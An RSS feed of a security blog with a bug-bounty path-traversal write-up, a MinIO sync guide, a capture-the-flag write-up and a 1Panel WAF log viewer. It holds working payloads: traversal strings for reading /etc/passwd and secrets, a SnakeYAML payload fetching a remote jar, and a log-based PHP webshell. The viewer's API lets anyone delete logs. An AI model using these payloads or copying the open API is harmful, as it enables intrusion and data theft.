Advertise with Googlier.com JunehaBlog https://blog.mo60.cn/ zh-CN 记录着属于我的平凡故事的网站! Tue, 06 May 2025 22:45:00 +0800 Tue, 06 May 2025 22:45:00 +0800 某SRC任意文件读取漏洞小记 https://blog.mo60.cn/index.php/archives/src-file-read-vul.html https://blog.mo60.cn/index.php/archives/src-file-read-vul.html Tue, 06 May 2025 22:45:00 +0800 Juneha 0x1 发现漏洞

一开始是在浏览器控制台网络请求处发现了个/getfile接口,通过查看url接口大致能看出是用于请求Json文件的

88974-loxm4zw8bh.png

正常请求打开看一下URL响应内容,确实是用于加载json文件的

42221-fb2qilwdod.png

尝试在原有URL上添加一个内容发现会爆出真实路径在/var/pvc/category/下

67834-052m10jah76t.png

这里我是打算说试试看填个/etc/paasswd发现提示信息有误

41959-yn8jqursd2f.png

经过测试发现是要满足 abc.abc这种带点的文件名格式

12851-6l4aml3dvtg.png

一开始想的是读取系统里面自带的符合条件的文件,然后我提取了系统里面自带的文件作为字典,这里成功读取到了证书文件啥的,但是读取这些文件也没有危害。

/getfile?file=../../etc/ssl/certs/ca-certificates.crt2 
/getfile?file=../../etc/ca-certificates.conf

12851-6l4aml3dvtg.png

0x02任意文件读取

后面在本地环境里面测试一下,发现要满足这个条件并不难,找一个存在的且满足条件的文件夹然后利用../../去读取即可,例如我这里创建了个test.dir来测试发现刚好能满足当前场景,接下来只需要找到系统自带的满足条件的文件夹即可。

cat /root/../root/test.dir/../../etc/passwd

12851-6l4aml3dvtg.png

接下来在centos系统中通过find来筛选出满足条件的自带文件夹作为字典

find /etc -type d -name '[!.]*.*' > dict

12851-6l4aml3dvtg.png

随后使用Burp去fuzz一下,成功读取到了/etc/passwd文件

/getfile?file=../../etc/logrotate.d/../../etc/passwd

12851-6l4aml3dvtg.png

尝试了一下读取 /etc/shadow发现可以读取,但是没有密码信息,那推测这个环境可能是个容器环境,

/getfile?file=../../etc/logrotate.d/../../etc/shadow

12851-6l4aml3dvtg.png

通过读取环境变量,成功获取数据库跟使用的外部api服务的key等信息

12851-6l4aml3dvtg.png

]]>
0 https://blog.mo60.cn/index.php/archives/src-file-read-vul.html#comments https://blog.mo60.cn/index.php/feed/archives/src-file-read-vul.html
Obsidian+Remotely Save S3插件配合minioS3多端同步笔记 https://blog.mo60.cn/index.php/archives/obsidian_minio_s3.html https://blog.mo60.cn/index.php/archives/obsidian_minio_s3.html Fri, 07 Mar 2025 20:35:00 +0800 Juneha 0x0前言

最近打算尝试本地笔记软件Obsidian,然后为了实现多端同步使用docker搭建minio来配合Remotely Save插件实现S3同步。

准备内容

  • 服务器一台已安装docker
  • nginx
  • obsidian

两个域名解析用于nginx反代,一个给minio控制台使用一个传输使用

  • s3.xxxx.cn
  • s3-api.xxxx.cn

0x1 Docker搭建minio并配置

Docker启动一个minio容器名为“noteminio”的MinIO容器,映射两个端口(58741和65478)分别为控制台跟数据访问端口,设置用户名和密码,挂载本地目录作为数据存储,并配置语言环境和MinIO服务地址。

docker run -d \
  --name noteminio \
  -p 58741:58741 \
  -p 65478:65478 \
  --restart always \
  -e "MINIO_ROOT_USER=zhanghao" \
  -e "MINIO_ROOT_PASSWORD=mima" \
  -v /noteminiodata:/data \
  -e "LANG=zh_CN.UTF-8" \
  minio/minio server /data --console-address ":65478" --address ":58741"

启动后在宝塔侧添加一个反向代理,使用s3.xxxx.cn域名把这个端口代出来

48047-kdyqm0p5jb.png

把API地址也代理出来,也就是58741端口后面上传文件都是向这个接口,域名s3-api.xxxx.cn

18360-z8to6rdbieb.png

随后来到宝塔的nginx配置文件目录/www/server/panel/vhost/nginx/,找到api那个域名的配置文件,在location块里面加上

proxy_cache_convert_head off;

44433-0p2gh0t2tst.png

随后打开网站即可访问到minio

27355-fhmuomcg7bn.png

使用启动Docker时设置的账号密码进入控制台,去建立个桶

30431-giovh7sykic.png

我这里新建了个notedata

20667-agogs5huud.png

区域我这里设置成 cn-east-1

46209-dl3hbfu2b4l.png

保存后Restart一下

52593-kzy769uqll.png

接下来创建个AK/SK

24012-tvgu19as9e9.png

创建的时候SK只会出现一次,要保存好

89557-8w00yfylthf.png

0x2 Obsidian 配置

在设置里面第三方插件处安装Remotely Save S3

69604-k5je9lled69.png

22146-pmrmp4aobkp.png

填上代理出来的 s3-api.xxxx.cn地址,其他按图中这些样子选一下
34517-uj8qwgtjfg.png

填好后,选择检查

59815-jj7e0zgcdoa.png

]]>
2 https://blog.mo60.cn/index.php/archives/obsidian_minio_s3.html#comments https://blog.mo60.cn/index.php/feed/archives/obsidian_minio_s3.html
2024年福建省第五届“闽盾杯”-黑盾赛道网络空间安全大赛全国赛道决赛-WriteUp解析 https://blog.mo60.cn/index.php/archives/2024-HeiDun.html https://blog.mo60.cn/index.php/archives/2024-HeiDun.html Mon, 02 Sep 2024 15:01:00 +0800 Juneha 0x01前言

今年也算运气好又拿了个第一名刚好圆梦,wp的部分内容分别来自 Ahisec、首山路五十九号、还是有键盘的春日影好听、QWER2 队伍 ,剩下的部分来自的我电脑上残留的截图,这里给出了我的思路跟不同师傅的思路仅供参考,感谢给我提供截图的各位师傅们。

1.1 题目介绍

然后题目分为 A B C D E 几个大题,里面会有几个小题,具体如下

  • 任务A 可直接访问
  • 任务B 可直接访问,存在多网卡,存在杀软
  • 任务C 内网需要通过任务B来代理访问
  • 任务D Windows应急响应
  • 任务E 需要VPN接入后扫描

答题界面如下

99598-0yq2hxw7g44.png

0x2 任务A

任务A-方法1

01-你懂API安全吗?

题目给出的地址是 192.168.18.23 访问80端口是个ruoyi登录界面,默认填上了admin 跟 admin123密码但是点击登录会错误,最后使用 ry admin123成功登录后台 , 然后在后台可以查看默认参数,可以得到默认管理员的密码是Heidun@2024...

11047-s7nrfzip1ja.png

使用admin Heidun@2024... 登录到后台会发现就几个菜单他这里是把计划任务啊那些菜单全部隐藏了,然后在菜单那边把这些菜单显示

35638-ubp3rc11my.png

然后找到数据监控,使用 ruoyi 123456 登录druid查看url列表可以发现有个/getFlag接口,访问即可得到flag的base64值

02-轻松拿捏Web后台

登录系统后在左上角即可看到flag

21716-3c7db1nov2.png

03-服务器上的重要文件

接下去就通过定时任务然后远程加载jar包打入内存马

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.20.32:12312/XXXX.jar"]]]]')

然后直接哥斯拉查看/flag

74361-hya3stfev8a.png

04-数据库安全最重要

哥斯拉查看 /app目录里面的sql文件

17975-eyn8oo4pvh.png

得到flag

89484-laev7k05jgk.png

任务A-方法2

01-你懂API安全吗?

直接fscan扫出docker api未授权

90267-suh1mh8sskh.png

然后查看 start.sh文件得到接口,然后手动curl得到flag

57404-b25jsoej0hf.png

02-轻松拿捏Web后台

通过数据库修改sys_user表,将ry用户的弱口令admin123密码,一样替换给admin用户。

49684-o5o64m9eluq.png

使用admin用户进行登录

56058-mt9tr6oljee.png

03-服务器上的重要文件

直接查看
76846-o8sef3um8o.png

04-数据库安全最重要

通过start.sh得到数据库密码

80409-znehpvo9pl.png

使用该密码进行登录,然后查询flag表

19302-3m5x0z24cgn.png

0x3 任务B

01-很经典的PMA

打开是个emlog搭建的博客,然后扫描可以得到phpmyadmin 使用root root登录,然后查询 flag即可

08237-jqx28d85jxn.png

02-有些人就喜欢在桌面上乱放东西

首先执行 select @@basedir;发现是phpstudy搭建的,然后直接日志写马

SET GLOBAL general_log='ON';
set global general_log_file='C:\\phpstudy_pro\\WWW\\123.php';
select '<?php eval($_POST[1]);?>';
SET GLOBAL general_log='OFF';

然后直接查看桌面山的flag文件

04131-2ti8rk62akm.png

03-你的权限不够高,换条路再上!

上面拿到的shell是普通用户的权限,系统上有火绒5,分离免杀然后直接上线提权,查看桌面的flag

00713-skqcntmkx1r.png

或者mysql udf直接system

97003-anz6x9fmuwk.png

然后flag.txt里面还给了个远程控制的软件

68010-bis47t6a8s8.png

04-安全防护软件的配置项也是一门学问

通过提供的账号密码跟远程控制软件上到系统,查看信任区得到flag

48483-vngbthfbex.png

或者直接查看配置文件的db

25258-hwh1qpueg3p.png

0x4 任务C

任务B有两张网卡,他在任务B的192.168.0.0/24这张网卡里面192.168.0.5

01-公司内网私有云平台上的blog系统,你能进web后台吗?

打开是个博客

28082-6zsehnhrkkm.png

扫目录得到 www.zip 源码,这个博客系统的密码是写在文件里面的

14125-lvej6goslnt.png

解开密码是heidun2024,后台处就有flag

C-02-公司内网私有云平台向容器中传递了一些环境变量

进到后台后,可以在主题出getshell

61198-ezwgufnrwv.png

导入主题,木马地址 http://192.168.0.5/tpl/dtest/img/1.php,然后执行env命令得到环境变量里面的flag

99624-bgfiqr3t2u.png

0x5 任务D

01-黑客首次访问web后门成功的具体时间是?

首先把web服务拉到本地使用D盾扫描

扫到一个temp.php

88092-qun60qxsso.png

然后去搜索web日志里面包含temp.php的访问请求,这里可以看到在temp.php出现前利用虽然是404

64605-3fhl7yu8t92.png

结合d盾扫出来的update.php然后搜索得到响应200的请求的文件,提交该时间即可

66298-9rwmg2ywz1.png

02-web后门是由哪个用户写入的?从哪个IP登录的?

有ftp服务的软件,查看该软件的日志,搜索上一题得到的木马,可以看到写入的用户名以及登录ftp的ip地址

55451-l0po5cguzae.png

03-黑客在系统中进行了一些非法操作,它运行过什么可疑的程序?

通过系统日志可以查看到一个tiquan的.exe

15227-ayxn4r00dwd.png

0x6 任务E

在任务B的下载文件夹里面有openvpn的配置文件

09389-3r2mmgql74e.png

01-你找得到我吗

接入后扫描提供的ip 192.168.18.20

01794-evnpr9didjt.png

在8080端口上得到web服务,使用页面上出现的邮箱作为账号密码123456登录系统

66243-utplehrrige.png

0x7 排名

69623-l7s6bl3qbs.png

]]>
6 https://blog.mo60.cn/index.php/archives/2024-HeiDun.html#comments https://blog.mo60.cn/index.php/feed/archives/2024-HeiDun.html
1panel开心版?之社区版waf日志功能使用 https://blog.mo60.cn/index.php/archives/1panel_waf_log_use.html https://blog.mo60.cn/index.php/archives/1panel_waf_log_use.html Tue, 20 Aug 2024 10:49:00 +0800 Juneha 0x01 效果演示

都是在社区版下展示,可以看到功能跟专业版无差别(可能会有小bug)

30560-kmcq2g9fg1.png

b站视频地址: https://www.bilibili.com/video/BV1bwWWeAEqk/

源码下载地址: https://pan.quark.cn/s/2b460d59f88b

0x02 使用

首先来到应用商店已安装然后选择php点击参数按钮

31053-z1g67ccw6r.png

点击编辑

99979-9m4ggc39rsr.png

点击高级设置->编辑 compose 文件

41083-58vu0e0c0tl.png

然后在挂载文件处加上

- /opt/1panel/apps/openresty/openresty/1pwaf/data/db:/www/db

82429-n8cpe7147f.png

然后确定重建即可

78288-54pbk4zvxl4.png

来到容器

46316-1h4i7yz8c87.png

进入终端

14065-sac509cmmzo.png

ls可以看到db目录然后给db目录权限

36008-3snnpcnznh5.png

chmod 777 -R db/

然后就可以在网站里面添加php文件,文件名随意内容如下,为了方便所以把内容都写在了一个文件,代码比较简陋有需要的大佬可以自己在改改(也不是不能用)

<?php

/**
 * 1panel-WAF数据查看接口API文件
 *
 * @author Juneha juneha@qq.com
 * @version 1.0
 * @website https://blog.mo60.cn/
 * @created 2024-08-19
 */


error_reporting(0);
// error_reporting(E_ALL);
// ini_set('display_errors', 1);
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE");
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type");
header("Access-Control-Allow-Credentials: true");

class SQLite
{
    function __construct($file)
    {
        try
        {
            @$this->connection=new PDO('sqlite:'.$file);
        }
        catch(PDOException $e)
        {
            try
            {
                $this->connection=new PDO('sqlite2:'.$file);
            }
            catch(PDOException $e)
            {
                exit('error!');
            }
        }
    }
 
    function __destruct()
    {
        $this->connection=null;
    }
 
    function query($sql)
    {
        return $this->connection->query($sql);
    }
 
    function getlist($sql)
    {
        $stmt = $this->query($sql);
        return $stmt->fetchAll(PDO::FETCH_ASSOC);
    }
 
    function Execute($sql)
    {
        return $this->query($sql)->fetch();
    }
 
    function RecordArray($sql)
    {
        return $this->query($sql)->fetchAll();
    }
 
    function RecordCount($sql)
    {
        return count($this->RecordArray($sql));
    }
 
    function RecordLastID()
    {
        return $this->connection->lastInsertId();
    }
}

function getDocumentRoot() {
    $scriptPath = __FILE__;
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];
    while (true) {
        $parentDir = dirname($scriptPath);
        if ($parentDir === $documentRoot) {
            break;
        }
        if (is_dir($parentDir . '/index.php') || is_dir($parentDir . '/public')) {
            $documentRoot = $parentDir;
        }
        $scriptPath = $parentDir;
    }
    return $documentRoot;
}

function doubleSingleQuotes($string) {
    $result = str_replace("'", "''", $string);
    return $result;
}

function getParameterValue($key, $default = '')
{
    return isset($_GET[$key]) ? doubleSingleQuotes(trim($_GET[$key])) : $default;
}

function translateWAFParams($param) {
    $translations = [
        'urlDefense' => 'URL 规则',
        'urlHelper' => '禁止访问的 URL',
        'dirFilter' => '目录过滤',
        'sqlInject' => 'SQL 注入',
        'xss' => 'XSS',
        'phpExec' => 'PHP 脚本执行',
        'oneWordTrojan' => '一句话木马',
        'appFilter' => '应用危险目录过滤',
        'webshell' => 'Webshell',
        'protocolFilter' => '协议过滤',
        'javaFileter' => 'Java 危险文件过滤',
        'scannerFilter' => '扫描器过滤',
        'escapeFilter' => '转义过滤',
        'customRule' => '自定义规则',
        'httpMethod' => 'HTTP 方法过滤',
        'fileExt' => '文件上传限制',
        'fileExtHelper' => '禁止上传的文件扩展名',
        'fiveSeconds'=>  "5 秒验证",
        'acl'=>  "ACL",
        'captcha'=>  "人机验证",
        'uaBlack' =>  "User-Agent 黑名单",
        'urlBlockList' =>  "URL 黑名单",
        'ipBlack'=> "IP 黑名单",
        'unknownWebsite'=>  "未授权域名访问",
        'geoRestrict'=>  "地区访问限制",
        'attackCount'=> "攻击频率限制",
        'notFoundCount'=> "404 频率限制",
        'cookieDefense'=>  "Cookie 规则",
        'headerDefense'=>  "Header 规则",
        'defaultUaBlack'=> "User-Agent 规则",
        'argsDefense'=>  "参数规则",
        'httpRule'=>"HTTP 规则",
        'defaultUrlBlack'=> "URL 规则",
        'defaultIpBlack'=> "恶意 IP 组",
        'fileExtCheck'=> "文件上传限制",
    ];

    return isset($translations[$param]) ? $translations[$param] : $param;
}

function buildInClause($data) {
    if (empty($data)) {
        return "IN ('')";
    }
    
    if (!is_array($data)) {
        $data = array($data);
    }

    $escaped_values = array_map(function($value) {
        return "'" . doubleSingleQuotes($value) . "'";
    }, $data);

    $in_clause = "IN (" . implode(', ', $escaped_values) . ")";

    return $in_clause;
}


$rootPath = getDocumentRoot();
$onepwafPath=$rootPath.'/../../../db/1pwaf.db';
$req_logPath=$rootPath.'/../../../db/req_log.db';

if (!file_exists($onepwafPath)){
    die("1pwaf.db file does not exist!");
}

if (!file_exists($req_logPath)){
    die("req_log.db file does not exist!");
}

$onepwafDB=new SQLite($onepwafPath);
$req_logDB=new SQLite($req_logPath);

$sql='';
$action = @$_GET['action'];
switch ($action) {
    case 'wafstat':
        $wafData = $onepwafDB->getlist("SELECT * FROM main.waf_stat order by id desc LIMIT 1");
        exit(json_encode($wafData[0]));
        break;
    case 'sitelist':
        $webList=$req_logDB->getlist("SELECT DISTINCT website_key FROM main.req_logs  where website_key <> 'unknown' order by time desc");
        exit(json_encode($webList));
        break;
    case 'list':
        $page = intval(getParameterValue('page', 1));
        $size = intval(getParameterValue('size', 10));
        $websiteKey = getParameterValue('website_key');
        $exec_rule = $_GET['exec_rule'];
        $uri = getParameterValue('uri');
        $ip = getParameterValue('ip');
        $offset = ($page - 1) * $size;
        
        $conditions = [];
        if (!empty($websiteKey)) {
            $conditions[] = "website_key='{$websiteKey}'";
        }
        if (!empty($exec_rule)) {
            $conditions[] = "( exec_rule ".buildInClause($exec_rule)." or rule_type ".buildInClause($exec_rule)." )";
        }
        if (!empty($uri)) {
            $conditions[] = "uri LIKE '%{$uri}%'";
        }
        if (!empty($ip)) {
            $conditions[] = "ip='{$ip}'";
        }
        $sql = "SELECT * FROM main.req_logs WHERE 1=1";
        if (!empty($conditions)) {
            $sql .= " AND " . implode(' AND ', $conditions);
        }
        
        if (!empty($conditions)) {
            $total=$req_logDB->RecordCount($sql);
         }else{
            $total=$req_logDB->RecordCount("SELECT * FROM main.req_logs");
         }

        $sql .= " ORDER BY time DESC LIMIT {$offset}, {$size}";
        $req_logData['data'] = $req_logDB->getlist($sql);
        $req_logData['total'] = $total;
        // var_dump($sql );
        for($i=0;$i<count($req_logData['data']);$i++){
            $req_logData['data'][$i]['rule_type']=translateWAFParams($req_logData['data'][$i]['rule_type']);
            $req_logData['data'][$i]['exec_rule']=translateWAFParams($req_logData['data'][$i]['exec_rule']);
        }
        exit(json_encode($req_logData));
        break;

    case 'clearlogs':
        $status = $req_logDB->query("DELETE FROM main.req_logs");
        if($status){
            exit(json_encode(['status'=>1]));
        }else{
            exit(json_encode(['status'=>0]));
        }
        break;
    default:
        header("HTTP/1.1 404 Not Found");
        exit;
        break;
}

?>

前端代码如下,也是找朋友 @n1l.cn 花了半天手搓的,也是为了方便全部放在了单页里面,需要修改API_BASE_URL 为自己部署的api地址



<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>拦截记录</title>
    <script src="https://unpkg.com/vue@3"></script>
    <link rel="stylesheet" href="https://unpkg.com/element-plus/dist/index.css" />
    <link rel="icon" type="image/png" href="https://1panel.cn/img/favicon.png">
    <script src="https://unpkg.com/element-plus"></script>
    <script src="https://unpkg.com/@element-plus/icons-vue"></script>
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.5/codemirror.min.css" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.5/codemirror.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.5/mode/javascript/javascript.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.5/mode/nginx/nginx.min.js"></script>
    <style>
        body {
            padding: 0;
            margin: 0;
            font-family: Arial, sans-serif;
        }

        .centered-container {
            margin-top: 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            min-height: 100vh;
        }

        .el-card {
            width: 90%;
            margin-bottom: 20px;
        }

        .home-card .header span:before {
            position: absolute;
            top: 4px;
            left: -14px;
            width: 4px;
            height: 14px;
            content: "";
            background: var(--el-color-primary);
            border-radius: 10px;
        }

        .home-card .header span {
            position: relative;
            font-size: 16px;
            font-weight: 500;
            margin-left: 18px;
        }

        .el-row {
            margin-bottom: 20px;
        }

        .el-row:last-child {
            margin-bottom: 0;
        }

        .el-col {
            border-radius: 4px;
            text-align: center;
        }

        .el-col span {
            color: #646a73;
            font-size: 14px;
        }

        .count {
            margin-top: 10px;
        }

        .count span {
            font-size: 25px;
            color: #005eeb;
            font-weight: 500;
            line-height: 32px;
        }

        .host {
            width: 240px;
            margin-right: 10px;
        }

        .execrule {
            width: 380px;
        }

        .form-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
            gap: 10px;
        }

        .select-container,
        .search-container {
            display: flex;
            gap: 10px;
        }

        .search-container>.el-button {
            flex-shrink: 0;
        }

        .rounded-input {
            margin-right: 10px;
        }

        .pag {
            margin-top: 20px;
            display: flex;
            justify-content: flex-end;
        }

        tbody {
            font-size: 14px;
            color: #646a73;
        }

        .el-drawer__header {
            margin-bottom: 0;
            padding-bottom: 14px;
            border-bottom: 1px solid #f2f2f2;
        }

        .margin-top {
            margin-top: 20px;
        }

        .ad-container {
            position: fixed;
            top: 20px;
            right: 20px;
            border: 1px solid #ddd;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
            overflow: hidden;
            z-index: 9999;
        }

        .ad-image {
            display: block;
            width: 180px;
            height: auto;
        }

        .close-btn {
            position: absolute;
            top: 5px;
            right: 5px;
            background: rgba(0, 0, 0, 0.5);
            color: white;
            border: none;
            border-radius: 50%;
            width: 30px;
            height: 30px;
            text-align: center;
            line-height: 30px;
            font-size: 20px;
            cursor: pointer;
        }

        .close-btn:hover {
            background: rgba(0, 0, 0, 0.7);
        }

        ::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }

        ::-webkit-scrollbar-thumb {
            background-color: #b1b3b8;
            border-radius: 4px;
            border: 2px solid #ffffff;
        }

        ::-webkit-scrollbar-track {
            background-color: #f5f7fa;
            border-radius: 4px;
        }

        ::-webkit-scrollbar-thumb:hover {
            background-color: #909399;
        }

        ::-webkit-scrollbar-track:hover {
            background-color: #e4e7ed;
        }



        @media (max-width: 992px) {
            .form-container {
                flex-direction: column;
                align-items: flex-start;
            }

            .select-container,
            .search-container {
                width: 100%;
            }

            .search-container>.el-button {
                margin-top: 10px;
            }
        }

        @media (max-width: 768px) {
            .host {
                width: 100%;
                margin-right: 10px;
            }

            .execrule {
                width: 100%;
            }

            .form-container {
                padding: 0 10px;
            }

            .select-container,
            .search-container {
                flex-direction: column;
                align-items: stretch;
                gap: 5px;
            }

            .select-container>.el-select,
            .search-container>.el-input,
            .search-container>.el-button {
                width: 100%;
            }

            .search-container>.el-input {
                margin-right: 0;
            }

            .search-container>.el-button {
                margin-top: 10px;
            }
        }
    </style>
</head>

<body>
    <div id="app" class="centered-container">
        <el-card class="home-card">
            <div class="header">
                <span>今日状态</span>
            </div>
            <div style="margin-top: 20px;">
                <el-row :gutter="20">
                    <el-col :span="6">
                        <span>请求</span>
                        <div class="count">
                            <span>{{ req_count }}</span>
                        </div>
                    </el-col>
                    <el-col :span="6">
                        <span>拦截</span>
                        <div class="count">
                            <span>{{ attack_count }}</span>
                        </div>
                    </el-col>
                    <el-col :span="6">
                        <span>4xx数量</span>
                        <div class="count">
                            <span>{{ count4xx }}</span>
                        </div>
                    </el-col>
                    <el-col :span="6">
                        <span>5xx数量</span>
                        <div class="count">
                            <span>{{ count5xx }}</span>
                        </div>
                    </el-col>
                </el-row>
            </div>
        </el-card>
        <el-card>
            <div class="form-container">
                <div class="select-container">
                    <el-select v-model="website_key" clearable="" placeholder="请选择" @change="handleChange" class="host">
                        <template #prefix="">
                            <span>网站</span>
                        </template>
                        <el-option v-for="item in siteList" :key="item.value" :label="item.label" :value="item.value" />
                    </el-select>
                    <el-select v-model="execRuleList" multiple="" clearable="" collapse-tags="" placeholder="请选择"
                        @change="handleChange" class="execrule">
                        <template #prefix="">
                            <span>命中规则</span>
                        </template>
                        <el-option v-for="item in execRuleOptions" :key="item.value" :label="item.label"
                            :value="item.value" />
                    </el-select>
                </div>
                <div class="search-container">
                    <el-input v-model="searchUrl" class="rounded-input" placeholder="请输入 URL,支持模糊搜索"
                        clearable=""></el-input>
                    <el-input v-model="searchIP" class="rounded-input" placeholder="请输入 IP" clearable=""></el-input>
                    <el-button type="primary" plain="" @click="handleChange">
                        搜索
                    </el-button>
                </div>
            </div>
        </el-card>
        <el-card>
            <div class="card-header" style="display: flex; align-items: center;">
                <span style="font-weight: bold;">拦截记录
                    <el-divider direction="vertical" />
                </span>
                <el-button type="primary" plain="" @click="clearlogs">
                    清空日志
                </el-button>
                <div style="margin-left: auto;">
                    <el-button type="primary" plain="" @click="listData">
                        刷新
                    </el-button>
                </div>
            </div>
            <el-table :data="tableData" style="margin-top: 20px; width: 100%;">
                <el-table-column prop="ip" label="IP" min-width="130"></el-table-column>
                <el-table-column prop="host" label="域名" min-width="250"></el-table-column>
                <el-table-column prop="uri" label="url" :show-overflow-tooltip="true" min-width="300"></el-table-column>
                <el-table-column prop="ipLocation" label="IP归属地" width="150">
                    <template #default="scope">
                        {{ scope.row.ip_country_zh }} {{ scope.row.ip_province_zh }}
                    </template>
                </el-table-column>
                <el-table-column prop="action" label="动作" min-width="100">
                    <template #default="scope">
                        <el-tag v-if="scope.row.action === 'deny'" type="error">
                            禁止
                        </el-tag>
                        <el-tag v-else="" type="success">
                            允许
                        </el-tag>
                    </template>
                </el-table-column>
                <el-table-column prop="exec_rule" label="命中规则" min-width="150"></el-table-column>
                <el-table-column prop="rule_type" label="类型" min-width="100"></el-table-column>
                <el-table-column prop="localtime" label="时间" min-width="180">
                </el-table-column>
                <el-table-column fixed="right" label="操作" width="100">
                    <template #default="scope">
                        <el-button style="color: #005eeb;" link="" @click="handleClick(scope.row)">
                            详情
                        </el-button>
                    </template>
                </el-table-column>
            </el-table>
            <div class="pag">
                <el-pagination v-if="!smallPagination" :page-sizes="[5, 10, 20, 50, 100]" size="default"
                    layout="total, sizes, prev, pager, next, jumper" :total="total" @size-change="handleSizeChange"
                    @current-change="handleCurrentChange">
                </el-pagination>
                <el-pagination v-else size="small" background layout="prev, pager, next" :total="total" class="mt-4"
                    @size-change="handleSizeChange" @current-change="handleCurrentChange" />
            </div>
        </el-card>
        <!-- 抽屉 -->
        <el-drawer v-model="drawer" :size="drawerSize" @close="handleDrawerClose">
            <template #header>
                <el-page-header @back="drawer = false" title="返回">
                    <template #content>
                        <span class="text-large font-600 mr-3"> 详情 </span>
                    </template>
                </el-page-header>
            </template>
            <template #default>
                <div>
                    <el-descriptions title="攻击详情" :column="1" border>
                        <el-descriptions-item label="攻击 IP">
                            {{ selectedRow.ip }}
                        </el-descriptions-item>
                        <el-descriptions-item label="时间">
                            {{ selectedRow.localtime }}
                        </el-descriptions-item>
                        <el-descriptions-item label="动作">
                            {{ selectedRow.action === 'deny' ? '禁止' : '允许'}}
                        </el-descriptions-item>
                        <el-descriptions-item label="命中规则">
                            {{ selectedRow.exec_rule }}
                        </el-descriptions-item>
                        <el-descriptions-item label="匹配值">
                            {{ decodeBase64(selectedRow.match_value) }}
                        </el-descriptions-item>
                    </el-descriptions>
                    <el-descriptions class="margin-top" title="HTTP">
                    </el-descriptions>
                    <textarea id="nginx-log-editor"></textarea>
                </div>
            </template>
        </el-drawer>
        <!-- 广告 -->
        <div v-show="adDisplay" class="ad-container">
            <a href="https://www.lxware.cn/?code=ifconfig" target="_blank">
                <img src="https://src.sjtu.edu.cn/media/images/2024/08/20/b76df827-e1bb-4e79-b728-ea5c37fe1f0c-moDBtzpW.png" alt="Advertisement" class="ad-image">
            </a>
            <button class="close-btn" @click="adDisplay = false">&times;</button>
        </div>
    </div>
    <script>
        const { ElMessageBox, ElMessage } = ElementPlus;

        const API_BASE_URL = '';
        const App = {
            data() {
                return {
                    req_count: 0,
                    attack_count: 0,
                    count4xx: 0,
                    count5xx: 0,
                    website_key: '',
                    execRuleList: [],
                    searchUrl: '',
                    searchIP: '',
                    currentPage: 1,
                    pageSize: 10,
                    siteList: [],
                    drawer: false,
                    smallPagination: false,
                    selectedRow: {},
                    execRuleOptions: [
                        { value: 'urlDefense', label: 'URL 规则' },
                        { value: 'urlHelper', label: '禁止访问的 URL' },
                        { value: 'dirFilter', label: '目录过滤' },
                        { value: 'sqlInject', label: 'SQL 注入' },
                        { value: 'xss', label: 'XSS' },
                        { value: 'phpExec', label: 'PHP 脚本执行' },
                        { value: 'oneWordTrojan', label: '一句话木马' },
                        { value: 'appFilter', label: '应用危险目录过滤' },
                        { value: 'webshell', label: 'Webshell' },
                        { value: 'protocolFilter', label: '协议过滤' },
                        { value: 'javaFileter', label: 'Java 危险文件过滤' },
                        { value: 'scannerFilter', label: '扫描器过滤' },
                        { value: 'escapeFilter', label: '转义过滤' },
                        { value: 'customRule', label: '自定义规则' },
                        { value: 'httpMethod', label: 'HTTP 方法过滤' },
                        { value: 'fileExt', label: '文件上传限制' },
                        { value: 'fileExtHelper', label: '禁止上传的文件扩展名' },
                        { value: 'fiveSeconds', label: '5 秒验证' },
                        { value: 'acl', label: 'ACL' },
                        { value: 'captcha', label: '人机验证' },
                        { value: 'uaBlack', label: 'User-Agent 黑名单' },
                        { value: 'urlBlockList', label: 'URL 黑名单' },
                        { value: 'ipBlack', label: 'IP 黑名单' },
                        { value: 'unknownWebsite', label: '未授权域名访问' },
                        { value: 'geoRestrict', label: '地区访问限制' },
                        { value: 'attackCount', label: '攻击频率限制' },
                        { value: 'notFoundCount', label: '404 频率限制' },
                        { value: 'cookieDefense', label: 'Cookie 规则' },
                        { value: 'headerDefense', label: 'Header 规则' },
                        { value: 'defaultUaBlack', label: 'User-Agent 规则' },
                        { value: 'argsDefense', label: '参数规则' },
                        { value: 'httpRule', label: 'HTTP 规则' },
                        { value: 'defaultUrlBlack', label: 'URL 规则' },
                        { value: 'defaultIpBlack', label: '恶意 IP 组' },
                        { value: 'fileExtCheck', label: '文件上传限制' }
                    ],
                    total: 0,
                    tableData: [],
                    editor: null,
                    drawerSize: '40%',
                    adDisplay: true,
                };
            },
            methods: {
                async fetchData() {
                    try {
                        const { data } = await axios.get(API_BASE_URL, { params: { action: 'wafstat' } });
                        Object.assign(this, {
                            req_count: data.req_count,
                            attack_count: data.attack_count,
                            count4xx: data.count4xx,
                            count5xx: data.count5xx,
                        });
                    } catch (error) {
                        console.error("API 请求失败:", error);
                    }
                },
                async siteListData() {
                    try {
                        const { data } = await axios.get(API_BASE_URL, { params: { action: 'sitelist' } });
                        this.siteList = data.map(item => ({
                            value: item.website_key,
                            label: item.website_key,
                        }));
                    } catch (error) {
                        console.error("API 请求失败:", error);
                    }
                },
                async listData() {
                    try {
                        const { data } = await axios.get(API_BASE_URL, {
                            params: {
                                action: 'list',
                                page: this.currentPage,
                                size: this.pageSize,
                                website_key: this.website_key,
                                uri: this.searchUrl,
                                ip: this.searchIP,
                                exec_rule: this.execRuleList
                            }
                        });
                        this.total = data.total;
                        this.tableData = data.data;
                    } catch (error) {
                        console.error("API 请求失败:", error);
                    }
                },
                async clearlogs() {
                    try {
